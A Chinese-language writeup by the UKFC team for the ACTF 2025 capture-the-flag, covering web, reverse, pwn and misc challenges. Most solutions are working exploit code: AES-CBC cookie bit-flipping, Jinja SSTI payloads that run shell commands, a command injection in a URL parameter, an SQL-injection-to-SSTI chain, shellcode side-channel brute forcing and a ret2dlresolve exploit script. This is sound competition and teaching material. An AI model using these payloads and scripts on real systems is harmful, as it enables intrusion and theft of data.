Featured image of post ACTF 2025

ACTF 2025

UKFC 2025 ACTF Writeup

成绩

UKFC取得第16名的成绩

Web

not so web 1

本地起服务:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
    Flask,
    render_template,
    render_template_string,
    request,
    redirect,
    url_for,
    flash,
    session,
)

app = Flask(__name__)
app.secret_key = "x8j2k9m3n7p4q6r8t1u5v0w2y4z6a8b0"
KEY = b"k9m3n7p4q6r8t1u5v0w2y4z6a8b0x8j2"
ADMIN_PASSWORD = "G7kP9mW3qT2rY6zN8vX4jL0tF5hR1cB"

@dataclass(kw_only=True)
class APPUser:
    name: str
    password_raw: str
    register_time: int

## In-memory store for user registration
users: Dict[str, APPUser] = {
    "admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}

def validate_cookie(cookie: str) -> bool:
    if not cookie:
        return False

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        return False

    if len(cookie_encrypted) < 32:
        return False

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        cookie_json = cipher.decrypt(padded)
    except ValueError:
        return False

    try:
        _ = json.loads(cookie_json)
    except Exception:
        return False

    return True

def parse_cookie(cookie: str) -> Tuple[bool, str]:
    if not cookie:
        return False, ""

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        return False, ""

    if len(cookie_encrypted) < 32:
        return False, ""

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        decrypted = cipher.decrypt(padded)
        cookie_json_bytes = unpad(decrypted, 16)
        cookie_json = cookie_json_bytes.decode()
    except ValueError:
        return False, ""

    try:
        cookie_dict = json.loads(cookie_json)
    except Exception:
        return False, ""

    return True, cookie_dict.get("name")

def generate_cookie(user: APPUser) -> str:
    cookie_dict = asdict(user)
    cookie_json = json.dumps(cookie_dict)
    cookie_json_bytes = cookie_json.encode()
    iv = os.urandom(16)
    padded = pad(cookie_json_bytes, 16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(padded)
    return base64.b64encode(iv + encrypted).decode()

@app.route("/")
def index():
    if validate_cookie(request.cookies.get("jwbcookie")):
        return redirect(url_for("home"))
    return redirect(url_for("login"))

@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        user_name = request.form["username"]
        password = request.form["password"]
        if user_name in users:
            flash("Username already exists!", "danger")
        else:
            users[user_name] = APPUser(
                name=user_name, password_raw=password, register_time=int(time.time())
            )
            flash("Registration successful! Please login.", "success")
            return redirect(url_for("login"))
    return render_template("register.html")

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        if username in users and users[username].password_raw == password:
            resp = redirect(url_for("home"))
            resp.set_cookie("jwbcookie", generate_cookie(users[username]))
            return resp
        else:
            flash("Invalid credentials. Please try again.", "danger")
    return render_template("login.html")

@app.route("/home")
def home():
    valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
    if not valid or not current_username:
        return redirect(url_for("logout"))

    user_profile = users.get(current_username)
    if not user_profile:
        return redirect(url_for("logout"))

    if current_username == "admin":
        payload = request.args.get("payload")
        html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">Welcome, %s !</h2>
        <div class="text-center">
            Your payload: %s
        </div>
        <img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
""" % (
            current_username,
            payload,
        )
    else:
        html_template = (
            """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">server code (encoded)</h2>
        <div class="text-center" style="word-break:break-all;">
        {%% raw %%}
            %s
        {%% endraw %%}
        </div>
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
"""
            % base64.b64encode(open(__file__, "rb").read()).decode()
        )
    return render_template_string(html_template)

@app.route("/logout")
def logout():
    resp = redirect(url_for("login"))
    resp.delete_cookie("jwbcookie")
    return resp

if __name__ == "__main__":
    app.run()

本地调试脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
    Flask,
    render_template,
    render_template_string,
    request,
    redirect,
    url_for,
    flash,
    session,
)

app = Flask(__name__)
app.secret_key = "123123"
KEY = b'abcdefghijklmnop'
ADMIN_PASSWORD = "123123"


@dataclass(kw_only=True)
class APPUser:
    name: str
    password_raw: str
    register_time: int


##  In-memory store for user registration
users: Dict[str, APPUser] = {
    "admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def generate_cookie(user: APPUser) -> str:
    cookie_dict = asdict(user)
    cookie_json = json.dumps(cookie_dict)
    cookie_json_bytes = cookie_json.encode()
    iv = os.urandom(16)
    padded = pad(cookie_json_bytes, 16)
    print(padded)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    ## print(cipher)
    encrypted = cipher.encrypt(padded)
    ## print(encrypted)
    return base64.b64encode(iv + encrypted).decode()


if __name__ == "__main__":
    print(generate_cookie(users["admin"]))

修改 cookie:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import base64

## 假设这是从注册 "admxn" 后获取的 cookie
cookie = "jwbcookie=CCv+CVNuiBWdutXFzr0e7/9QDZxH3RXakEVP60qLwl74QOYJ6xGxZfBg6XPUAPFe+GwQ2NqPgPihMS8i0Mgzvaly0ap0yguHgIw+w5nFoARpUUr3d3mvFZKUhwWtez3R"

## 提取 cookie 值
cookie_value = cookie.split("=", 1)[1]

## base64 解码
cookie_bytes = base64.b64decode(cookie_value)

## 分离 IV 和加密数据
iv = cookie_bytes[:16]
encrypted_data = cookie_bytes[16:]

## 计算需要翻转的字节
## 目标:将 "admxn" 的 'x' (120) 翻转为 'i' (105)
## JSON 格式:{"name": "admxn", ...}
## "x" 在第一个块的第 11 个字节(从 0 开始计数)
pos = 13  ## 'x' 的位置
delta = ord('x') ^ ord('i')  ## 120 ^ 105 = 17

## 修改 IV 的第 11 个字节
iv_list = list(iv)
print(iv_list[pos])
iv_list[pos] = iv_list[pos] ^ delta
print(iv_list[pos])
modified_iv = bytes(iv_list)


## 生成新的 cookie
modified_cookie_bytes = modified_iv + encrypted_data
modified_cookie = base64.b64encode(modified_cookie_bytes).decode()

## 输出修改后的 cookie
print("Original Cookie:", cookie_value)
print("Modified Cookie:", modified_cookie)
print("Use this cookie to access /home as admin:")
print(f"jwbcookie={modified_cookie}")

还原脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import base64
import json
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

## 给定的 cookie
cookie = "jwbcookie=CCv+CVNuiBWdutXFzqwe7/9QDZxH3RXakEVP60qLwl74QOYJ6xGxZfBg6XPUAPFe+GwQ2NqPgPihMS8i0Mgzvaly0ap0yguHgIw+w5nFoARpUUr3d3mvFZKUhwWtez3R"
cookie_b64 = cookie.replace("jwbcookie=", "")

## 解码 base64
cookie_bytes = base64.b64decode(cookie_b64)

## 分离 IV 和加密数据
iv = cookie_bytes[:16]
encrypted_data = cookie_bytes[16:]

## 假设的密钥(16 字节),实际使用时需替换为真实密钥
KEY = b"k9m3n7p4q6r8t1u5v0w2y4z6a8b0x8j2"

## 创建 AES-CBC 解密器
cipher = AES.new(KEY, AES.MODE_CBC, iv)

## 解密并去除填充
try:
    decrypted = cipher.decrypt(encrypted_data)
    padded = unpad(decrypted, 16)  ## 去除 PKCS7 填充
    json_str = padded.decode('utf-8')  ## 转换为字符串
    cookie_dict = json.loads(json_str)  ## 解析 JSON
    print("还原的 padded(JSON 格式):", cookie_dict)
except ValueError as e:
    print("解密失败,可能是密钥错误或数据损坏:", e)

本地 fenjing 一把嗦

1
/home?payload={{(QAQ.__eq__.__globals__.sys.modules.os.popen('cat f*')).read()}}

Upload

普通用户进去目录穿越读源码,然后拿去碰撞一下密码,在 admin 下面有一个存在命令拼接的点 file_path 直接拼接进去的不出网 rce,发现能任意写

1
<strong>GET</strong> /upload?<strong>file_path</strong>=<strong>0;%20ls%20/>%20/test%20%23</strong>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
Fl4g_is_H3r3
app
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
test
tmp
usr
var
1
<strong>GET</strong> /upload?<strong>file_path</strong>=<strong>0;%20cat%20/Fl4g_is_H3r3>%20/test%20%23</strong>

Excellent-Site

利用 /report 路由的邮件头注入,构造一封邮件,设置 Subject 为可控 URL,并注入 From: admin@ezmail.orgmailto:admin@ezmail.org 以满足 get_subjects 的条件。

通过 SQLite 注入控制 /news 路由的响应,打 SSTI,然后访问 /bot 触发 /admin 里面的 render

1
2
3
4
5
6
7
8
9
<strong>POST</strong> /report <strong>HTTP/1.1</strong>
<strong>Host</strong>: 223.112.5.141:59122
Upgrade-In<strong>secure-Requests</strong>: 1
<strong>User-Agent</strong>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
<strong>Content-Type</strong>: <strong>application/x-www-form-urlencoded</strong>
Accept-Encoding: gzip, deflate
<strong>Content-Length</strong>: 66

<strong>url=http%3A%2F%2Fezmail.org%3A3000%2Fnews%3Fid%3D-1+union+select+%27%7B%7B+url_for.__globals__%5B%27%27__builtins__%27%27%5D%5B%27%27__import__%27%27%5D%28%27%27os%27%27%29.system%28%27%27cat+%2Fflag+%3E+templates%2Findex.html%27%27%29+%7D%7D%27</strong>

not so web 2

明文 username 直接换 admin 再进去就行

{“user_name”: “admin”, “login_time”: 1745665984}&91f48825c577ce98f9c611681521eb05c92d1e17748e9e74e6b4928726e11bcf13aa8306350e1fc2e5d8ed00437cca189360dcc5489dd59f35aeee8c40eab121f35b0f2953fc5b7d48359ec5789baa302fae6e8f1c0f87943497ce5a3147daa5bbe780bbe637f73d7f95f8a2528e2fe06777634384bffea5cd865ee3999dc6fe0d475ae9fc2086d4b037c66ab20cb2b31215d0cd2c0e32643a59cca40315cbfa51ddf63a8e7c025d6be2247c18ea62c4f76c8c4f25b2cf0361c47f0cdc7105e27eb54bb84ef6512a84164f1f7d41370ddb0896b4f7373805414949e71004e5e2ca64dbdb74c5ad65007d189d8fcc72bc2878bd06848fadd0ff39f1ca6ced5c08

写个转接口本地 fenjing 打

1
{{((sbwaf|attr(lipsum|escape|batch(22)|list|first|last|attr("\\x5f\\x5fadd\\x5f\\x5f")(lipsum|escape|batch(22)|list|first|last)~"qe"[::-1]~lipsum|escape|batch(22)|list|first|last|attr("\\x5f\\x5fadd\\x5f\\x5f")(lipsum|escape|batch(22)|list|first|last)))[lipsum|escape|batch(22)|list|first|last|attr("\\x5f\\x5fadd\\x5f\\x5f")(lipsum|escape|batch(22)|list|first|last)~"slabolg"[::-1]~lipsum|escape|batch(22)|list|first|last|attr("\\x5f\\x5fadd\\x5f\\x5f")(lipsum|escape|batch(22)|list|first|last)].sys.modules.os.popen("*f tac"[::-1])).read()}}

Reverse

ezFPGA

四个字节为单位,逐位乘构造一个 6x6 的矩阵,与给定的矩阵做点乘。结果与 rc4 的密钥流逐位相加后比对。

由于过程中只保留了一个字节的信息,考虑 z3 解。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from z3 import Solver, BitVec, sat

def rc4(key):
    key_len = len(key)
    sbox = list(range(256))
    j = 0
    for i, v in enumerate(sbox):
        j = (j + v + key[i % key_len]) & 0xFF
        sbox[i], sbox[j] = sbox[j], v
    i = j = 0
    res = [0] * 36
    for n in range(36):
        i = (i + 1) & 0xFF
        si = sbox[i]
        j = (j + si) & 0xFF
        sj = sbox[j]
        sbox[i], sbox[j] = sj, si
        res[n] = sbox[(si + sj) & 0xFF]
    return res

def solve():
    plain = [0xAD,0x00,0xC0,0x9F,0x16,0x17,0xEC,0x25,0x25,0x1F,0x12,0xE2,0x7F,0x9F,0x37,0x53,0x12,0xBA,0x8D,0x38,0x60,0x14,0x1B,0x31,0x8E,0x13,0xE2,0x56,0x0A,0x1A,0x25,0xB9,0x80,0x73,0x8A,0x60]
    key = b'eclipsky'
    rc4_res = rc4(key)
    key1 = [11,4,5,14]
    key2 = [116,174,193,124,102,100,11,193,115,4,127,139,98,214,197,145,97,151,31,30,117,15,230,179,235,25,244,202,73,222,15,191,119,140,94,32]

    for ts in range(39, 8, -1):
        s = Solver()
        flag = [BitVec(f'f{i}', 8) for i in range(39)]
        fir = [(flag[i]*key1[0] + flag[i+1]*key1[1] + flag[i+2]*key1[2] + flag[i+3]*key1[3]) & 0xFF for i in range(36)]
        sum_l = [sum(fir[i*6+k]*key2[j+k*6] for k in range(6)) & 0xFF for i in range(6) for j in range(6)]
        for k, v in enumerate(plain):
            s.add((sum_l[k] + rc4_res[k]) & 0xFF == v)
        s.add(flag[0]==ord('A'),
              flag[1]==ord('C'), 
              flag[2]==ord('T'),
              flag[3]==ord('F'), 
              flag[4]==ord('{'), 
              flag[ts-1]==ord('}'))
        if s.check() == sat:
            m = s.model()
            print(''.join(chr(m[flag[i]].as_long()) for i in range(36)))
        

if __name__ == "__main__":
    solve()

ACTF{RC4_4nd_FPGA_w4lk_1nt0_4_b4r}

Pwn

AFL

题目包含 afl-fuzzharnesswrapper.py 三个文件,其中对 wrapper.py 进行分析,发现该脚本除连接时需要的工作量证明验证,主要的作用是将用户输入的 Shellcode 写入到 /tmp/shellcode.bin 文件中并执行

1
timeout 5m ./afl-fuzz -i ./input -o ./output -- ./harness  #(简化版)

这表明我们的 Shellcode 会由 afl-fuzz 进行检查,并且检查收集信息的程序是 harness ,我们无法看到 input 文件夹的样例输入,所以我们暂时无视它

我们把重心放到 harness 程序上

我们写的 Shellcode 被映射到了 0x10000 的位置,并且还给了一个 0x20000 的可读写位置

这里还有沙箱保护,我们可以使用 seccomp-tools 查看

我们知道这是一个 ORW 类型的题目,理论上编写对应的 Shellcode 即可

但我们发现如果通过 AFL-Fuzz 启动的 harnessstdoutstderr 被定位到了 /dev/null 里,所以说我们的输出等于半残废,在不考虑恢复标准输出的方法,可以把这个当成一个没有 write() 的题目,那么我们可以使用侧信道的方式来逐位爆破 Flag ,通过汇编的无限循环以及程序非正常结束返回给模糊测试程序的返回值来判断该位是否正确

由于似乎这个测试程序实际不会限制 ORW 的 Shellcode ,我们不需要进行一些类似于免杀的优化,直接写就行,唯一的问题可能就是这个 Flag 位置太鸡贼了,实测需要访问 /home/ctf/flag 才能成功

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
from pwn import *
import hashlib
import string
import itertools
import os
import random
import string
import signal
import pathlib

context.arch = "amd64"
context.os = "linux"
context.bits = 64

host = '61.147.171.106'
port = 53335
filename = "afl-fuzz"
start = ["./afl-fuzz", "-i", "./input", "-o", "./output", "-t", "60000" ,"--", "./harness"]

elf = context.binary = ELF(filename)

gdbscript = '''
b main
'''

orwcode = (
    """
    xor rax, rax;
    add rax, 0x2;
    mov rdi, 0x67616c662f66;
    push rdi;
    mov rdi, 0x74632f656d6f682f;
    push rdi;
    mov rdi, rsp;
    xor rsi, rsi;
    syscall;


    mov rdi, rax;
    xor rax, rax;
    mov rsi, rsp;
    mov rdx, 0x100;
    syscall;

    """
)

## checkopen = (
##     """
##     xor rax, rax;
##     add rax, 0x2;
##     mov rdi, 0x67616c662f66;
##     push rdi;
##     mov rdi, 0x74632f656d6f682f;
##     push rdi;
##     mov rdi, rsp;
##     xor rsi, rsi;
##     syscall;

##     cmp rax, 0x4;
##     je label;

##     mov rax, 0x3b;
##     syscall;

## label:

##     mov rdi, rax;
##     xor rax, rax;
##     mov rsi, rsp;
##     mov rdx, 0x100;
##     syscall;

##     """
## )

def start():
    if args.ATTACH:
        global isAttach
        isAttach = 1
        return process(start)
    elif args.GDB:
        return gdb.debug(start, gdbscript = gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    elif args.BRUTE:
        return remote(host, port)
    else:
        return process(start)


def solve(prefix):
    chars = string.printable
    for i in range(1, 10):
        for combo in itertools.product(chars, repeat=i):
            answer = ''.join(combo)
            concat = prefix + answer
            digest = hashlib.sha256(concat.encode()).digest()
            bits = ''.join(bin(b)[2:].zfill(8) for b in digest)
            if bits[:12] == '0' * 12:
                print(f"Answer: {answer}")
                return answer

if args.REMOTE:
    testcode = 0
    cmpcode = (
        f'''
        mov rax, {testcode};
        mov rbx, [rsp];
        and rbx, 0xff;
        cmp rax, rbx;
        je label;

        mov rax, 60;
        xor rdi, rdi;
        syscall;

    label:
        xor rax, rax;
        syscall;
        jmp label;
        '''
    )
    shellcode = asm(orwcode + cmpcode, arch="amd64", os="linux")
    io = start()
    io.recvuntil(b'solve this: sha256(')
    prefix = io.recv(8).decode()
    log.info(f"Prefix: {prefix}")

    io.sendline(solve(prefix).encode())
    io.sendlineafter(b'>',((shellcode).hex()).encode())
    io.recvline()
    io.sendline()
   

    io.interactive()

elif args.BRUTE:

    flag = '' ## ACTF{wH4t_IS_Your_CooL_solUTi0n_PL2_te1l_M3}
    offset = 0
    while True:
        for i in range(ord('!'),ord('~')):
            try:
                testcode = i
                log.info(f"Trying {chr(i)}")
                cmpcode = (
                f'''
                mov rax, {testcode};
                add rsp, {offset};
                mov rbx, [rsp];
                and rbx, 0xff;
                cmp rax, rbx;
                je label;

                mov rax, 60;
                xor rdi, rdi;
                syscall;

            label:
                xor rax, rax;
                syscall;
                jmp label;
                '''

                )
                shellcode = orwcode + cmpcode
                shellcode = asm(shellcode, arch="amd64", os="linux")

                io = start()
                io.recvuntil(b'solve this: sha256(')
                prefix = io.recv(8).decode()
                io.sendline(solve(prefix).encode())
                io.sendlineafter(b'>',((shellcode).hex()).encode())
                io.sendline()
                res = io.recvuntil(b'ABORT', timeout = 3)
                log.info(f"Result: {res}")
                if res == b'':
                    flag += chr(i)
                    log.info(f"Flag: {flag}")
                    offset += 1
                    log.info(f"Offset: {offset}")
                    io.close()
                    break
                else:
                    io.close()
                    pass
            except EOFError:
                io.close()
                pass


else:
    for i in range(ord('A'),ord('z')+1):
        log.info(f"Trying {chr(i)}")
        flag = ''
        testcode = i
        cmpcode = (
            f'''
            mov rax, {testcode};
            mov rbx, [rsp];
            and rbx, 0xff;
            cmp rax, rbx;
            je label;

            mov rax, 60;
            xor rdi, rdi;
            syscall;

        label:
            xor rax, rax;
            syscall;
            jmp label;
            '''
        )
    
        shellcode = orwcode + cmpcode
        shellcode = asm(shellcode, arch="amd64", os="linux")
        print(shellcode)

        with open("/tmp/shellcode.bin", "wb") as f:
            f.write(bytes.fromhex((shellcode).hex()))
            f.close()

        with open("input/shellcode.bin", "wb") as f:
            f.write(bytes.fromhex((shellcode).hex()))
            f.close()

        io = start()
        io.interactive()
        io.recvuntil(b'Fork server crashed with signal ')
        res = io.recv(2)
        print(res)
        if res == b'11':
            io.close()
            pass
        else:
            flag += chr(i)
            print(flag)
            io.close()
            break

onlyread

十分简洁的题目,只有一个可以溢出的 read() ,没有输出函数,几乎没有很多有用的 gadget

看一眼保护,发现是 Partial RELRO,没有 PIE

在这种保护下,如果不想通过爆破库函数低位偏移的方式来使用 open()write() 的话,我们可以使用相对偏移,伪造 linkmap 并结合 re2dlresolve 来使得程序去执行在 libc 中想要的函数,甚至是某个地址,这里直接使用了 one_gadget

由于没有可以直接控制参数的 gadget 我们可以借助唯一能找到的 pop rsp; ret; 结合主函数的 read() 片段来进行任意已知地址读写 0x800 大小,我们利用这个来写入伪造的内容和构造攻击链

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
#!/usr/bin/env python3

'''
    author: lufiende
    time: 2025-04-26 18:04:22
'''
from pwn import *
from LibcSearcher import *
import os
import sys
import time
from ctypes import *

## For local
filename = "only_read_patched"
libcname = "/home/lufiende/Tools/CTF/Pwn/Glibc-pkgs/2.39-0ubuntu8.4/amd64/libc6_2.39-0ubuntu8.4_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"

## For remote
host = "1.95.199.251"
port = 9999

## For docker
container_id = ""
proc_name = ""

## For GDB
isAttach = 0
gdbscript = '''
b main
set debug-file-directory /home/lufiende/Tools/CTF/Pwn/Glibc-pkgs/2.39-0ubuntu8.4/amd64/libc6-dbg_2.39-0ubuntu8.4_amd64/usr/lib/debug
set directories /home/lufiende/Tools/CTF/Pwn/Glibc-pkgs/2.39-0ubuntu8.4/amd64/glibc-source_2.39-0ubuntu8.4_all/usr/src/glibc/glibc-2.39
'''

## For Elf info
filearch = 'amd64'
context.log_level = 'debug'
context.os = 'linux'
context.arch = filearch
context.terminal = ["/mnt/c/Windows/System32/cmd.exe", '/c', 'start', 'wsl.exe', '-d', 'Kali-linux', '-u', 'lufiende']

## Load the binary
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)

## Set up start function
def start():
    if args.ATTACH:
        global isAttach 
        isAttach = 1
        return process(elf.path)
    elif args.GDB:
        return gdb.debug(elf.path, gdbscript = gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    elif args.DOCKER:
        import docker
        from os import path
        p = remote(host, port)
        client = docker.from_env()
        container = client.containers.get(container_id=container_id)
        processes_info = container.top()
        titles = processes_info['Titles']
        processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
        target_proc = []
        for proc in processes:
            cmd = proc.get('CMD', '')
            exe_path = cmd.split()[0] if cmd else ''
            exe_name = path.basename(exe_path)
            if exe_name == proc_name:
                target_proc.append(proc)
        idx = 0
        if len(target_proc) > 1:
            for i, v in enumerate(target_proc):
                print(f"{i} => {v}")
            idx = int(input(f"Which one:"))
        import tempfile
        with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w') as tmp:
            tmp.write(f'shell rm {tmp.name}\n{gs}')
        print(tmp.name)
        run_in_new_terminal(["sudo", "gdb", "-p", target_proc[idx]['PID'], "-x", tmp.name])
        return p
    else:
        return process(elf.path)

def dbg():
    if isAttach:
        gdb.attach(io, gdbscript = gdbscript)
    pause()

io = start()

########################## Your Code Here #########################


io.recvuntil(b'generated by `')
shell = io.recvuntil(b'`')[:-1]
shell = shell.decode()
log.info(f"shell: {shell}")
output = os.popen(shell).read()
output = output.split(' ')
io.send(output[0].encode())

paddings = 128

pltinit_addr = 0x401026
read_gadget = 0x401142
main_addr = elf.symbols['main']

read_plt = elf.plt['read']
read_got = elf.got['read']
open_off = libc.symbols['open']
write_off = libc.symbols['write']
read_off = libc.symbols['read']
puts_off = libc.symbols['puts']
system_off = 0xef52b
leave_ret = 0x40115D
pop_rbp = 0x40111D

l_addr_poprdi = system_off - read_off ## 并非 pop rdi 和 system 其实是 onegadget
l_addr_puts = puts_off - read_off

data_addr = 0x404010
data_stack1 = 0x404100
data_stack2 = 0x404300
data_stack3 = 0x404d00

linkmap = p64(l_addr_poprdi & 0xffffffffffffffff) ## l_addr_poprdi

linkmap += p64(0) 
linkmap += p64(data_stack1 + 0x18) 

linkmap += p64((data_stack1 + 0x30 - l_addr_poprdi) & 0xffffffffffffffff) 
linkmap += p64(0x7) 
linkmap += p64(0)
linkmap += p64(0)

linkmap += p64(0) 
linkmap += p64(read_got - 0x8) 

linkmap += p64(0)
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(data_stack1) 

linkmap += p64(data_stack1 + 0x38) 
linkmap = linkmap.ljust(0x80,b'A')
linkmap += p64(data_stack2 - 8)
linkmap += p64(leave_ret)
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(data_stack1 + 0x8) 

linkmap = linkmap.ljust(0x200,b'\x00')

log.info("Read 1st")
payload1 = b'A' * paddings + p64(0) + p64(pop_rbp) + p64(data_stack1 + 0x80) + p64(read_gadget)
pause()
io.send(payload1)

log.info("Read 2nd")
payload2 = linkmap + p64(main_addr) 
pause()
io.send(payload2)

log.info("Read 3rd")
payload2 = b'A' * paddings + p64(0) + p64(pop_rbp) + p64(data_stack3 + 0x80) + p64(read_gadget)
pause()
io.send(payload2)

log.info("Read 4th")
payload4 = b'a' * paddings + p64(main_addr) * 2  
pause()
io.send(payload4)

dbg()

log.info("Read 5th")
payload4 = b'a' * paddings + p64(0) + p64(pop_rbp) + p64(0x404f00) +  p64(pltinit_addr) + p64(data_stack1) 
pause()
io.send(payload4)

##################################################################


io.interactive()

Misc

Hard guess

题目描述:

啊……远野君坚持让我为他的新项目学习计算机。这个 VPS 东西正好在打折,所以……教程上说“/root”文件是受保护的……(停顿,看向屏幕)它们不可能泄露吧……?——加藤惠

附件下载是个网页,关于加藤惠的介绍,有这样的信息:

来自秋人远野的安全通知

发布于 2 天前 | 标签:安全 | 未读

惠小姐,请注意:

  1. 不要将 SSH 用户名设置为“KatoMegumi”(太容易被猜到了!)。
  2. 不要使用名字 + 生日组合作为密码,比如“Megumi19960923”之类的……我猜。
  3. 服务器日志显示昨天有人试图暴力破解你的 SSH!

那么应该是在给的在线场景猜出用户名和密码,然后到/root 里面找到 flag

KatoMegumi

Megumi960923

/opt 下面有个 hello

1
